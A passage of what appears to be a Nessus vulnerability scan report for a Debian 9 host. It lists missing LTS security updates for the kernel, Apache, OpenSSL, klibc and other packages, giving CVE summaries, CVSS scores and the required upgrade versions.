The original fix for this introduced a different potential denial of service (infinite loop in kernel space), which has also been fixed.

CVE-2021-3428

Wolfgang Frisch reported a potential integer overflow in the ext4 filesystem driver. A user permitted to mount arbitrary filesystem images could use this to cause a denial of service (crash).

CVE-2021-3483

马哲宇 (Zheyu Ma) reported a bug in the 'nosy'
driver for TI PCILynx FireWire controllers, which could lead to list corruption and a use-after-free. On a system that uses this driver, local users granted access to /dev/nosy could exploit this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation.

CVE-2021-3564, CVE-2021-3573, CVE-2021-32399

The BlockSec team discovered several race conditions in the Bluetooth subsystem that could lead to a use-after-free or double-free. A local user could exploit these to caue a denial of service (crash or memory corruption) or possibly for privilege escalation.

CVE-2021-3587

Active Defense Lab of Venustech discovered a potential NULL pointer dereference in the NFC LLCP implementation. A local user could use this to cause a denial of service (crash).

CVE-2021-20292

It was discovered that the TTM buffer allocation API used by GPU drivers did not handle allocation failures in the way that most drivers expected, resulting in a double-free on failure. A local user on a system using one of these drivers could possibly exploit this to cause a denial of service (crash or memory corruption) or for privilege escalation. The API has been changed to match driver expectations.

CVE-2021-23133

Or Cohen of Palo Alto Networks discovered a race condition in the SCTP implementation, which can lead to list corruption. A local user could exploit this to cause a

denial of service (crash or memory corruption) or possibly for privilege escalation.

CVE-2021-28660

It was discovered that the rtl8188eu WiFi driver did not correctly limit the length of SSIDs copied into scan results. An attacker within WiFi range could use this to cause a denial of service (crash or memory corruption) or possibly to execute code on a vulnerable system.

CVE-2021-28688 (XSA-371)

It was discovered that the original fix for CVE-2021-26930 (XSA-365) introduced a potential resource leak. A malicious guest could presumably exploit this to cause a denial of service (resource exhaustion) within the host.

CVE-2021-28964

Zygo Blaxell reported a race condition in the Btrfs driver which can lead to an assertion failure. On systems using Btrfs, a local user could exploit this to cause a denial of service (crash).

CVE-2021-28971

Vince Weaver reported a bug in the performance event handler for Intel PEBS. A workaround for a hardware bug on Intel CPUs codenamed 'Haswell' and earlier could lead to a NULL pointer dereference. On systems with the affected CPUs, if users are permitted to access performance events, a local user may exploit this to cause a denial of service (crash).

By default, unprivileged users do not have access to performance events, which mitigates this issue. This is controlled by the kernel.perf_event_paranoid sysctl.

CVE-2021-29154

It was discovered that the Extended BPF (eBPF) JIT compiler for x86_64 generated incorrect branch instructions in some cases. On systems where eBPF JIT is enabled, users could exploit this to execute arbitrary code in the kernel.

By default, eBPF JIT is disabled, mitigating this issue.
This is controlled by the net.core.bpf_jit_enable sysctl.

CVE-2021-29265

The syzbot tool found a race condition in the USB/IP host (server) implementation which can lead to a NULL pointer dereference. On a system acting as a USB/IP host, a client can exploit this to cause a denial of service (crash).

CVE-2021-29647

The syzbot tool found an information leak in the Qualcomm IPC Router (qrtr) implementation.

This protocol is not enabled in Debian's official kernel configurations.

CVE-2021-29650

It was discovered that a data race in the netfilter subsystem could lead to a NULL pointer dereference during replacement of a table. A local user with CAP_NET_ADMIN capability in any user namespace could use this to cause a denial of service (crash).

By default, unprivileged users cannot create user namespaces, which mitigates this issue. This is controlled by the kernel.unprivileged_userns_clone sysctl.

CVE-2021-30002

Arnd Bergmann and the syzbot tool found a memory leak in the Video4Linux (v4l) subsystem. A local user permitted to access video devices (by default, any member of the 'video' group) could exploit this to cause a denial of service (memory exhaustion).

CVE-2021-31916

Dan Carpenter reported incorrect parameter validation in the device-mapper (dm) subsystem, which could lead to a heap buffer overrun. However, only users with CAP_SYS_ADMIN capability (i.e.
root-equivalent) could trigger this bug, so it did not have any security impact in this kernel version.

CVE-2021-33034

The syzbot tool found a bug in the Bluetooth subsystem that could lead to a use-after-free. A local user could use this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation.

For Debian 9 stretch, these problems have been fixed in version 4.9.272-1. This update additionally includes many more bug fixes from stable updates 4.9.259-4.9.272 inclusive.

We recommend that you upgrade your linux packages.

For the detailed security status of linux please refer to its security tracker page at: https://security-tracker.debian.org/tracker/linux

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/06/msg00020.html
https://packages.debian.org/source/stretch/linux
https://security-tracker.debian.org/tracker/source-package/linux

Solution

Upgrade the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.2 (CVSS:3.0/E:F/RL:O/RC:C)

CVSS v2.0 Base Score

8.3 (CVSS2#AV:A/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.9 (CVSS2#E:F/RL:OF/RC:C)

References

CVE	CVE-2020-24586
CVE	CVE-2020-24587
CVE	CVE-2020-24588
CVE	CVE-2020-25670
CVE	CVE-2020-25671
CVE	CVE-2020-25672
CVE	CVE-2020-26139
CVE	CVE-2020-26147
CVE	CVE-2020-26558
CVE	CVE-2020-29374
CVE	CVE-2020-36322
CVE	CVE-2021-0129
CVE	CVE-2021-20292
CVE	CVE-2021-23133
CVE	CVE-2021-23134
CVE	CVE-2021-28660
CVE	CVE-2021-28688
CVE	CVE-2021-28950
CVE	CVE-2021-28964
CVE	CVE-2021-28971
CVE	CVE-2021-29154
CVE	CVE-2021-29265
CVE	CVE-2021-29647
CVE	CVE-2021-29650
CVE	CVE-2021-30002
CVE	CVE-2021-31916
CVE	CVE-2021-32399
CVE	CVE-2021-33034
CVE	CVE-2021-3428
CVE	CVE-2021-3483
CVE	CVE-2021-3564
CVE	CVE-2021-3573
CVE	CVE-2021-3587

Plugin Information

Published: 2021/06/24, Modified: 2023/12/21

Plugin Output

tcp/0

```
Remote package installed : linux-image-4.9.0-8-amd64_4.9.144-3.1
Should be : linux-image-4.9.0-<ANY>-amd64_4.9.272-1

Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
```

```
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

151361 - Debian DLA-2695-1 : klibc - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2695 advisory.

- An issue was discovered in klibc before 2.0.9. Multiplication in the calloc() function may result in an integer overflow and a subsequent heap buffer overflow. (CVE-2021-31870)

- An issue was discovered in klibc before 2.0.9. An integer overflow in the cpio command may result in a NULL pointer dereference on 64-bit systems. (CVE-2021-31871)

- An issue was discovered in klibc before 2.0.9. Multiple possible integer overflows in the cpio command on 32-bit systems may result in a buffer overflow or other security impact. (CVE-2021-31872)

- An issue was discovered in klibc before 2.0.9. Additions in the malloc() function may result in an integer overflow and a subsequent heap buffer overflow. (CVE-2021-31873)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=989505
https://security-tracker.debian.org/tracker/source-package/klibc
https://www.debian.org/lts/security/2021/dla-2695
https://security-tracker.debian.org/tracker/CVE-2021-31870
https://security-tracker.debian.org/tracker/CVE-2021-31871
https://security-tracker.debian.org/tracker/CVE-2021-31872
https://security-tracker.debian.org/tracker/CVE-2021-31873
https://packages.debian.org/source/stretch/klibc

Solution

Upgrade the klibc packages.

For Debian 9 stretch, these problems have been fixed in version 2.0.4-9+deb9u1.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2021-31870
CVE	CVE-2021-31871
CVE	CVE-2021-31872
CVE	CVE-2021-31873

Plugin Information

Published: 2021/07/03, Modified: 2021/07/03

Plugin Output

tcp/0

```
Remote package installed : klibc-utils_2.0.4-9
Should be : klibc-utils_2.0.4-9+deb9u1
Remote package installed : libklibc_2.0.4-9
Should be : libklibc_2.0.4-9+deb9u1
```

151486 - Debian DLA-2706-1 : apache2 - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2706 advisory.

Several vulnerabilities have been found in the Apache HTTP server, which could result in denial of service. In addition the implementation of the MergeSlashes option could result in unexpected behaviour.
For Debian 9 stretch, these problems have been fixed in version 2.4.25-3+deb9u10. We recommend that you upgrade your apache2 packages. For the detailed security status of apache2 please refer to its security tracker page at: https://security-tracker.debian.org/tracker/apache2 Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/apache2
https://www.debian.org/lts/security/2021/dla-2706
https://security-tracker.debian.org/tracker/CVE-2020-1927
https://security-tracker.debian.org/tracker/CVE-2020-1934
https://security-tracker.debian.org/tracker/CVE-2020-35452
https://security-tracker.debian.org/tracker/CVE-2021-26690
https://security-tracker.debian.org/tracker/CVE-2021-26691
https://security-tracker.debian.org/tracker/CVE-2021-30641
https://security-tracker.debian.org/tracker/CVE-2021-31618
https://packages.debian.org/source/stretch/apache2

Solution

Upgrade the apache2 packages.

For Debian 9 stretch, these problems have been fixed in version 2.4.25-3+deb9u10.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2020-1927
CVE	CVE-2020-1934
CVE	CVE-2020-35452
CVE	CVE-2021-26690
CVE	CVE-2021-26691
CVE	CVE-2021-30641

CVE	CVE-2021-31618
XREF	IAVA:2020-A-0129-S
XREF	IAVA:2020-A-0326
XREF	IAVA:2021-A-0259-S
XREF	CEA-ID:CEA-2021-0025

Plugin Information

Published: 2021/07/09, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : apache2_2.4.25-3+deb9u7
Should be : apache2_2.4.25-3+deb9u10
Remote package installed : apache2-bin_2.4.25-3+deb9u7
Should be : apache2-bin_2.4.25-3+deb9u10
Remote package installed : apache2-data_2.4.25-3+deb9u7
Should be : apache2-data_2.4.25-3+deb9u10
Remote package installed : apache2-utils_2.4.25-3+deb9u7
Should be : apache2-utils_2.4.25-3+deb9u10
```

151891 - Debian DLA-2713-1 : linux - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2713 advisory.

- fs/seq_file.c in the Linux kernel 3.16 through 5.13.x before 5.13.4 does not properly restrict seq buffer allocations, leading to an integer overflow, an Out-of-bounds Write, and escalation to root by an unprivileged user, aka CID-8cae8cd89f05. (CVE-2021-33909)

- net/can/bcm.c in the Linux kernel through 5.12.10 allows local users to obtain sensitive information from kernel stack memory because parts of a data structure are uninitialized. (CVE-2021-34693)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=990072
https://security-tracker.debian.org/tracker/source-package/linux
https://www.debian.org/lts/security/2021/dla-2713
https://security-tracker.debian.org/tracker/CVE-2021-21781
https://security-tracker.debian.org/tracker/CVE-2021-33909
https://security-tracker.debian.org/tracker/CVE-2021-34693
https://security-tracker.debian.org/tracker/CVE-2021-3609
https://packages.debian.org/source/stretch/linux

Solution

Upgrade the linux packages.

For Debian 9 stretch, these problems have been fixed in version 4.9.272-2.

Risk Factor

High

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.5 (CVSS:3.0/E:H/RL:O/RC:C)

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.3 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

II

References

CVE	CVE-2021-3609
CVE	CVE-2021-21781
CVE	CVE-2021-33909
CVE	CVE-2021-34693
XREF	IAVA:2021-A-0350

Plugin Information

Published: 2021/07/21, Modified: 2022/01/20

Plugin Output

tcp/0

```
Remote package installed : linux-image-4.9.0-8-amd64_4.9.144-3.1
Should be : linux-image-4.9.0-<ANY>-amd64_4.9.272-2

Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

153480 - Debian DLA-2759-1 : gnutls28 - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-2759 advisory. Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=961889
https://security-tracker.debian.org/tracker/source-package/gnutls28
https://www.debian.org/lts/security/2021/dla-2759
https://packages.debian.org/source/stretch/gnutls28

Solution

Upgrade the gnutls28 packages.

For Debian 9 stretch, this problem has been fixed in version 3.5.8-5+deb9u6.

Risk Factor

High

Plugin Information

Published: 2021/09/19, Modified: 2021/09/19

Plugin Output

tcp/0

```
Remote package installed : libgnutls30_3.5.8-5+deb9u4
Should be : libgnutls30_3.5.8-5+deb9u6
```

153481 - Debian DLA-2761-1 : openssl1.0 - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-2761 advisory.

The legacy 1.0 version of OpenSSL, a cryptography library for secure communication, fails to validate alternate trust chains in some conditions. In particular this breaks connecting to servers that use Let's Encrypt certificates, starting 2021-10-01. For Debian 9 stretch, this problem has been fixed in version 1.0.2u-1~deb9u5. We recommend that you upgrade your openssl1.0 packages. For the detailed security status of openssl1.0 please refer to its security tracker page at: https://security- tracker.debian.org/tracker/openssl1.0 Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at:
https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/openssl1.0
https://www.debian.org/lts/security/2021/dla-2761
https://packages.debian.org/source/stretch/openssl1.0

Solution

Upgrade the openssl1.0 packages.

For Debian 9 stretch, this problem has been fixed in version 1.0.2u-1~deb9u5.

Risk Factor

High

Plugin Information

Published: 2021/09/19, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libssl1.0.2_1.0.2r-1~deb9u1
Should be : libssl1.0.2_1.0.2u-1~deb9u5
```

153842 - Debian DLA-2776-1 : apache2 - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2776 advisory.

Several vulnerabilities were discovered in the Apache HTTP server. An attacker could send proxied requests to arbitrary servers, corrupt memory in some setups involving third-party modules, and cause the server to crash. CVE-2021-34798 Malformed requests may cause the server to dereference a NULL pointer. CVE-2021-39275 ap_escape_quotes() may write beyond the end of a buffer when given malicious input. No included modules pass untrusted data to these functions, but third-party / external modules may.
CVE-2021-40438 A crafted request uri-path can cause mod_proxy to forward the request to an origin server choosen by the remote user. For Debian 9 stretch, these problems have been fixed in version 2.4.25-3+deb9u11. We recommend that you upgrade your apache2 packages. For the detailed security status of apache2 please refer to its security tracker page at: https://security-tracker.debian.org/tracker/apache2 Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/apache2
https://www.debian.org/lts/security/2021/dla-2776
https://security-tracker.debian.org/tracker/CVE-2021-34798
https://security-tracker.debian.org/tracker/CVE-2021-39275
https://security-tracker.debian.org/tracker/CVE-2021-40438
https://packages.debian.org/source/stretch/apache2

Solution

Upgrade the apache2 packages.

For Debian 9 stretch, these problems have been fixed in version 2.4.25-3+deb9u11.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.1 (CVSS:3.0/E:F/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.2 (CVSS2#E:F/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-34798
CVE	CVE-2021-39275
CVE	CVE-2021-40438
XREF	IAVA:2021-A-0440-S
XREF	CISA-KNOWN-EXPLOITED:2021/12/15

Plugin Information

Published: 2021/10/02, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : apache2_2.4.25-3+deb9u7
Should be : apache2_2.4.25-3+deb9u11
Remote package installed : apache2-bin_2.4.25-3+deb9u7
Should be : apache2-bin_2.4.25-3+deb9u11
Remote package installed : apache2-data_2.4.25-3+deb9u7
Should be : apache2-data_2.4.25-3+deb9u11
Remote package installed : apache2-utils_2.4.25-3+deb9u7
Should be : apache2-utils_2.4.25-3+deb9u11
```

154735 - Debian DLA-2796-1 : jbig2dec - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2796 advisory.

Two issues have been found in jbig2dec, a JBIG2 decoder library. One issue is related to an overflow with a crafted image file. The other is related to a NULL pointer dereference. For Debian 9 stretch, these problems have been fixed in version 0.13-4.1+deb9u1. We recommend that you upgrade your jbig2dec packages. For the detailed security status of jbig2dec please refer to its security tracker page at: https://security-tracker.debian.org/tracker/jbig2dec Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/jbig2dec
https://www.debian.org/lts/security/2021/dla-2796
https://security-tracker.debian.org/tracker/CVE-2017-9216
https://security-tracker.debian.org/tracker/CVE-2020-12268
https://packages.debian.org/source/stretch/jbig2dec

Solution

Upgrade the jbig2dec packages.

For Debian 9 stretch, these problems have been fixed in version 0.13-4.1+deb9u1.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2017-9216
CVE	CVE-2020-12268

Plugin Information

Published: 2021/10/29, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libjbig2dec0_0.13-4.1
Should be : libjbig2dec0_0.13-4.1+deb9u1
```

154736 - Debian DLA-2797-1 : tzdata - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has a package installed that is affected by a vulnerability as referenced in the dla-2797 advisory. Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/tzdata
https://www.debian.org/lts/security/2021/dla-2797
https://packages.debian.org/source/stretch/tzdata

Solution

Upgrade the tzdata packages.

For Debian 9 stretch, this problem has been fixed in version 2021a-0+deb9u2.

Risk Factor

High

Plugin Information

Published: 2021/10/29, Modified: 2021/10/29

Plugin Output

tcp/0

```
Remote package installed : tzdata_2019a-0+deb9u1
Should be : tzdata_2021a-0+deb9u2
```

154749 - Debian DLA-2802-1 : elfutils - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2802 advisory.

Several vulnerabilities were fixed in elfutils, a collection of utilities and libraries to handle ELF objects. CVE-2018-16062 dwarf_getaranges in dwarf_getaranges.c in libdw allowed a denial of service (heap- based buffer over-read) via a crafted file. CVE-2018-16402 libelf/elf_end.c in allowed to cause a denial of service (double free and application crash) because it tried to decompress twice. CVE-2018-18310 An invalid memory address dereference libdwfl allowed a denial of service (application crash) via a crafted file. CVE-2018-18520 A use-after-free in recursive ELF ar files allowed a denial of service (application crash) via a crafted file. CVE-2018-18521 A divide-by-zero in arlib_add_symbols() allowed a denial of service (application crash) via a crafted file. CVE-2019-7150 A segmentation fault could occur due to dwfl_segment_report_module() not checking whether the dyn data read from a core file is truncated.
CVE-2019-7665 NT_PLATFORM core notes contain a zero terminated string allowed a denial of service (application crash) via a crafted file. For Debian 9 stretch, these problems have been fixed in version 0.168-1+deb9u1. We recommend that you upgrade your elfutils packages. For the detailed security status of elfutils please refer to its security tracker page at: https://security- tracker.debian.org/tracker/elfutils Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=907562
https://security-tracker.debian.org/tracker/source-package/elfutils
https://www.debian.org/lts/security/2021/dla-2802
https://security-tracker.debian.org/tracker/CVE-2018-16062
https://security-tracker.debian.org/tracker/CVE-2018-16402
https://security-tracker.debian.org/tracker/CVE-2018-18310
https://security-tracker.debian.org/tracker/CVE-2018-18520
https://security-tracker.debian.org/tracker/CVE-2018-18521
https://security-tracker.debian.org/tracker/CVE-2019-7150
https://security-tracker.debian.org/tracker/CVE-2019-7665
https://packages.debian.org/source/stretch/elfutils

Solution

Upgrade the elfutils packages.

For Debian 9 stretch, these problems have been fixed in version 0.168-1+deb9u1.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2018-16062
CVE	CVE-2018-16402
CVE	CVE-2018-18310
CVE	CVE-2018-18520
CVE	CVE-2018-18521
CVE	CVE-2019-7150

CVE CVE-2019-7665

Plugin Information

Published: 2021/10/31, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libelf1_0.168-1
Should be : libelf1_0.168-1+deb9u1
```

154923 - Debian DLA-2808-1 : python3.5 - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2808 advisory.

There were a couple of vulnerabilites found in src:python3.5, the Python interpreter v3.5, and are as follows: CVE-2021-3733 The ReDoS-vulnerable regex has quadratic worst-case complexity and it allows cause a denial of service when identifying crafted invalid RFCs. This ReDoS issue is on the client side and needs remote attackers to control the HTTP server. CVE-2021-3737 HTTP client can get stuck infinitely reading len(line) < 64k lines after receiving a 100 Continue HTTP response. This could lead to the client being a bandwidth sink for anyone in control of a server. For Debian 9 stretch, these problems have been fixed in version 3.5.3-1+deb9u5. We recommend that you upgrade your python3.5 packages. For the detailed security status of python3.5 please refer to its security tracker page at: https://security- tracker.debian.org/tracker/python3.5 Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at:
https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/python3.5
https://www.debian.org/lts/security/2021/dla-2808
https://security-tracker.debian.org/tracker/CVE-2021-3733
https://security-tracker.debian.org/tracker/CVE-2021-3737
https://packages.debian.org/source/stretch/python3.5

Solution

Upgrade the python3.5 packages.

For Debian 9 stretch, these problems have been fixed in version 3.5.3-1+deb9u5.

Risk Factor

High

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

7.1 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

5.6 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE CVE-2021-3733
CVE CVE-2021-3737

Plugin Information

Published: 2021/11/05, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libpython3.5-minimal_3.5.3-1+deb9u1
Should be : libpython3.5-minimal_3.5.3-1+deb9u5
Remote package installed : libpython3.5-stdlib_3.5.3-1+deb9u1
Should be : libpython3.5-stdlib_3.5.3-1+deb9u5
Remote package installed : python3.5_3.5.3-1+deb9u1
Should be : python3.5_3.5.3-1+deb9u5
Remote package installed : python3.5-minimal_3.5.3-1+deb9u1
Should be : python3.5-minimal_3.5.3-1+deb9u5
```

155738 - Debian DLA-2835-1 : rsyslog - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2835 advisory.

Two heap overflows were fixed in the rsyslog logging daemon. CVE-2019-17041 Heap overflow in the AIX message parser. CVE-2019-17042 Heap overflow in the Cisco log message parser. For Debian 9 stretch, these problems have been fixed in version 8.24.0-1+deb9u1. We recommend that you upgrade your rsyslog packages.
For the detailed security status of rsyslog please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/rsyslog Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at:
https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=942065
https://security-tracker.debian.org/tracker/source-package/rsyslog
https://www.debian.org/lts/security/2021/dla-2835
https://security-tracker.debian.org/tracker/CVE-2019-17041
https://security-tracker.debian.org/tracker/CVE-2019-17042
https://packages.debian.org/source/stretch/rsyslog

Solution

Upgrade the rsyslog packages.

For Debian 9 stretch, these problems have been fixed in version 8.24.0-1+deb9u1.

Risk Factor

High

CVSS v4.0 Base Score

9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2019-17041
CVE	CVE-2019-17042

Plugin Information

Published: 2021/12/01, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : rsyslog_8.24.0-1
Should be : rsyslog_8.24.0-1+deb9u1
```

156163 - Debian DLA-2843-1 : linux - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-2843 advisory.

- Use-after-free vulnerability in the Linux kernel exploitable by a local attacker due to reuse of a DCCP socket with an attached dccps_hc_tx_ccid object as a listener after being released. Fixed in Ubuntu Linux kernel 5.4.0-51.56, 5.3.0-68.63, 4.15.0-121.123, 4.4.0-193.224, 3.13.0.182.191 and 3.2.0-149.196.
(CVE-2020-16119)

- u'Specifically timed and handcrafted traffic can cause internal errors in a WLAN device that lead to improper layer 2 Wi-Fi encryption with a consequent possibility of information disclosure over the air for a discrete set of traffic' in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables, Snapdragon Wired Infrastructure and Networking in APQ8053, IPQ4019, IPQ8064, MSM8909W, MSM8996AU, QCA9531, QCN5502, QCS405, SDX20, SM6150, SM7150 (CVE-2020-3702)

- In unix_scm_to_skb of af_unix.c, there is a possible use after free bug due to a race condition. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-196926917References:
Upstream kernel (CVE-2021-0920)

- A flaw was found in the Linux kernel. A corrupted timer tree caused the task wakeup to be missing in the timerqueue_add function in lib/timerqueue.c. This flaw allows a local attacker with special user privileges to cause a denial of service, slowing and eventually stopping the system while running OSP.
(CVE-2021-20317)

- An issue was discovered in Linux: KVM through Improper handling of VM_IO|VM_PFNMAP vmas in KVM can bypass RO checks and can lead to pages being freed while still accessible by the VMM and guest. This allows users with the ability to start and control a VM to read/write random pages of memory and can result in local privilege escalation. (CVE-2021-22543)

